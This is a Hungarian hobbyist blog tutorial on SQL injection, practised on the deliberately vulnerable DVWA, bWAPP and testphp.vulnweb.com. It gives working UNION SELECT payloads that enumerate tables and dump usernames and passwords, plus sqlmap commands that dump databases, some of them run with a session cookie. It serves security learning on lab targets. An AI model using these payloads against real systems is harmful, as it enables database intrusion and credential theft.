Napi hackelés

Napi hackelés

SQL Injection, SQLMAP, JSQL Injection , alapok, alapok, kutakodjunk az adatbázisokban

2021. január 20. - c3llenger

Ez egy nagyon hosszú téma 1. része lesz, ami az eddigi bejegyzések közül talán a legnehezebb, és bár sok infó lesz, ez nagyon a jéghegy csúcsa csak. Megjegyzem én abszolut nem vagyok pro, lelkes amatőr szinten, de nagyon nagy akarattal fejlesztem magam, és ez a blog is egy összefoglaló, illetve egy módja az én saját tanulásomnak.
Amit talán mégis pluszban tud adni nektek az az, hogy kezdőként tudom mik a kérdések, mit nem értünk, de talán már sejtem hogy mi az ami továbblendíti az embert hogy tovább tudjon lépni.

SQL injection

Neten csomó leírás van róla... én emiatt maradnék most a megszokott tárgyilagos, gyakorlatias írásnál. Tessék utána olvasgatni hogy miért is működhet ez. Én is ezt tettem, de mindig ugyanazok a szinte sablonos példa lekérdezések, kódok jöttek velem szembe: egy login page-n hogy kell túljutni... hát az sql injection nem csak erről szól.

Kezdjük ott hogy van egy weboldal -> azon van valamilyen beviteli forma -> amögött van egy adatbázis -> -> mögötte van egy adatbázis név -> amögött vannak táblák -> a tábláknak vannak oszlopai -> és ezek mögött vannak azok az adatok amelyek minket érdekelnek.  Látni fogjátok hogy ez nagyon fontos részlet.

Első áldozat: owaspbwa dvwa
http://192.168.100.5/dvwa/vulnerabilities/sqli/

Amit itt látunk az egy sima input mező, ahol egy id-t kell megadni, amire ő kiad egy felhasználónevet és egy jelszót.

ez egy nagyon alap szint, tehát nagyon gyorsan tudjuk ellenőrizni hogy sebezhető-e:
írjunk az input mezőbe egy '  jelet -> You have an error in your SQL syntax; check the manual that corresponds ...

ilyen alap/kezdő szinten ez működik.

na most remélhetőleg van annyi fogalmunk hogy hogyan nézhet ki egy ilyen query, pl:
SELECT * FROM users WHERE id = '1'
SELECT id, user, password FROM users WHERE id = '1'

ha a users táblába nem csak 3 oszlop van, hanem 5 mert: id, name, password, email, kod oszlopokat tartalmaz, attól még a lekérdezés eredménye jöhet mind az 5 oszlopból, hiába kapunk mi ebből vissza csak 2-t vagy hármat. Úgyhogy az hogy mi mennyit kapunk vissza, az nem biztos hogy annyi mint amennyit lekérdeztünk. Remélem ez érhető. És ha nem tudjuk hogy hány érték lett lekérdezve,nem fogunk tudni union select segítségével lekérdezést generálni.  

SELECT * FROM users WHERE id = '1' ORDER BY 1

Ez egy rendezés ugyebár. Itt ha az order by utáni szám nagyobb mint ahány oszlopból kérdez le akkor hibát ír ki. Ebből mi tudhatjuk hogy később hogyan kell generálni a mi lekérdezésünket.

1' order by 1 -- '   
eddig jó... növeljük az egy értékét.
1' order by 3 -- '   hoppá,hoppá, ez kapjuk: Unknown column '3' in 'order clause'

tehát, az order by 2 még működik. Ha megnézzük akkor az id amit a lekérdezés után kapunk az nem az adatbázisból jön, hanem kiirja a mi keresésünket

UNION SELECT

a következő lekérdezésünk:
1' UNION select 1,2 -- '  az eredmény admin admin, 1 2 -> hibátlan
itt ugye nem kérdeztünk le semmit, hanem mi írtuk le hogy mit jelenítsen meg: 1 2

következő:
1' UNION select @@version, current_user() -- '  az eredmény:
First name: 5.1.41-3ubuntu12.6-log
Surname: dvwa@%

nagyon bíztató!!!

és akkor zongorázzuk végig azt amit a bejegyzése elején levezettem, hogy egy ilyen input mezőből hogyan jutunk el az adatokig.
1' UNION select 1, table_name FROM information_schema.tables -- ' - ezzel megkapjuk az összes táblanevet
1' UNION select 1, table_name FROM information_schema.tables WHERE table_name LIKE '%user%' -- ': - ezzel megkapjuk azokat a táblaneveket, melyek tartalmazzák a user szót

láthatjuk hogy van olyan tábla hogy users, szóval mejünk tovább:

1' UNION select column_name, 1 FROM information_schema.columns WHERE table_name = 'users' -- ' -
ezzel megkaptuk a user tábla oszlopait

1' UNION select user, password FROM users -- ' - tádám... ott vannak a jelszavak és a felhasználónevek

a célunkat elértük, de mi van akkor ha az eredeti lekérdezés csak egy oszlopot kérdez le, de mi a UNION SELECT-tel egy másik táblából két vagy több oszlopnyi adatot szeretnénk lekérdezni, és nem külön külön egymás után akarjuk ezt?

Mutatom:
1' UNION select 1, concat(user, ':', password) FROM users -- ' jelen esetben az 1-et oda kell írni hiszen az eredeti lekérdezés két oszlopból kérdez le, és ha mi csak az összefűzzöttet szeretnénk akkor hibát kapunk (hiába szerepel benne két oszlopból lekérdezés, mi egybe rakjuk). Fogjátok fel úgy hogy az 1 megy a user oszlop alá, a concat(user, ':', password) meg a password alá. Remélem egyértelmű :)

Nézzünk megy másik oldalt:
http://192.168.100.5/bWAPP/sqli_1.php
ez is egy nagyon alap oldal. Mozifilmre kereshetünk rá a neve alapján, majd a találatot egy táblázatban jeleníti meg
A táblázat amiben a lekérdezésünk eredményét kapjuk 5 oszlopos, de ez egy nagyon jó példa arra hogy ha az előző módszerrel teszteljük hány oszlopból kérdez le, akkor az order by 7 még működik, de a 8 már nem, szóval 7 oszlopból kérdez el, és nekünk is eszerint kell használni az UNION SELECTET.

Most nem vezetem le annyira itt amit az előbb, de leírom, hogy hogyan tudunk eljutni az érzékeny adatokig

'
Error: You have an error in your SQL syntax;
' order by 7 -- ' 
működik
' order by 8 -- ' 
Error: Unknown column '8' in 'order clause', azaz nincs ennyi oszlop
' union select 1,2,3,4,5,6,7 -- ' 
tehát, a mi lekérdezésünknek is 7 oszlopnyinak kell lennie
' union select 1,2,@@version,current_user(),5,6,7 -- ' :
' union select 1,table_name,3,4,5,6,7 FROM information_schema.tables -- ' 
megkapjuk a táblák nevét
' union select 1,column_name,3,4,5,6,7 FROM information_schema.columns where table_name = 'users' -- '
megkapjuk a users tábla oszlopneveit
' union select 1,concat(login, ':', password),3,4,5,6,7 FROM users -- '
kiszedjük a login és password oszlopok értékeit összefűzve. Persze lehetne külön is:
' union select 1,login,password,4,5,6,7 FROM users -- '
itt két külön oszlopban kapjuk meg a password és a login értékeit.


Tehát összegezve, mit is csináltunk:
1. megnéztük hogy kapunk-e hibaüzenetet bizonyos jelekre;
2. ORDER BY segítségével kiderítettük hogy az eredeti lekérdezés hány oszlopból kérdez le
3. UNION SELECT segítségével elkezdjük kiszedni az infokat az adatbázisból
    a.) kiszedtük az adatbázis nevét;
    b.) megszereztük a benne lévő táblák neveit;
    c.) egy bizonyos tábla oszlopának a neveit szedjük ki;
    d.) ezeknek ismeretében kiszedjük az adatokat amikre szükségünk van;

SQLmap
SQLmap segítségével végig megyünk azokon a lépéseken, amiket fent mi magunk manuálisan oldottunk meg:
Ehhez egy netről is elérhető oldalt fogunk használni, ide nem kell semmi virtuális gép
http://testphp.vulnweb.com
innen katt az artist gombra
ha nézegetjük az oldalt akkor láthatjuk hogy az artistok megjelenítése mögött ez van:
http://testphp.vulnweb.com/artists.php?artist=1

nyissunk terminált:
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs
pár "y" lenyomása után láthatjuk hogy milyen adatbazisok vannak


Nekünk most az acuart kell!
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart --tables
megvannak a táblák. Nézzük meg hogy a users táblának milyen oszlopai vannak:

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns
ezek ismeretében szedjük ki a benne lévő adatokat:

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C phone --dump

ugyazazt jártuk végig mint fent csak most annyi volt a dolgunk h kiadjuk a megfelelő feladatot az sqlmap-nak a többit pedig rábíztuk


Van egy nagyon nagyon jó kis program: JSql Injection
Ajánlom :)

ha nincs meg: sudo apt-get -f install jsql  

miután leszdtük és elindítottuk nincs más dolgunk mint a keresőbe beírni a linket, pl http://testphp.vulnweb.com/artists.php?artist=1 és elinditani!!
Amit lehet ez kiszed, szépen grafikusan jeleníti meg hogy hogyan épül fel az adatbázis. Zseniális!

Ezek nagyon alapok, de én azt gondolom hogy azért ha ezeket tudjuk talán könnyebben túl tudunk jutni az elején.

Még egy dolog van hátra a mai tervezettből ez pedig az hogy az sqlmappot hogyan használjuk olyan oldalakon ahol van belépés. Mert ha pl bwapp-on a mozis keresőnél csináljuk sqlmappal a fentieket akkor hibát kapunk. Ezt most megnézzük :)

ehhez szükségünk van a phpsessionid-ra, majd a kódunk:
sqlmap -u "http://192.168.100.5/bWAPP/sqli_1.php?title=" --cookie="PHPSESSID=9njo6iuo80gsfsv7pa7a92g2c0;security_level=0" --dbs

itt még egy dolgot megjegyeznék:
ha a bWAPP/sqli_1.php oldalon valamit beirsz a keresőbe, akkor a címsorba ez szerepel majd:
http://192.168.100.5/bWAPP/sqli_1.php?title=valami&action=search
zavaró lehet hogy mit kezdj "?title=valami&action=search" résszel, amint fent is látható, ebből nekünk csak az kell hogy ?title=

természetesen ha megyünk tovább a fenti lépéseken, táblák, oszlopok, adatok, a --cookie= részt mindig meg kell adni!

(ha nem javacript segítségével akarod kiszedni ezeket akkor Firefox -> F12 -> Storage -> Cookies)

Elsőnek legyen elég ennyi, de én azt gondolom hogy az SQL injection hetente visszatérő téma lesz ;)
Remélem tudtam valami újat mondani, esetleg segíteni.

Olvasás, gyakorlás, olvasás, próbálkozás, olvasás...

ch3llenger

A bejegyzés trackback címe:

https://napihack.blog.hu/api/trackback/id/tr5916397132

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.

Nincsenek hozzászólások.
süti beállítások módosítása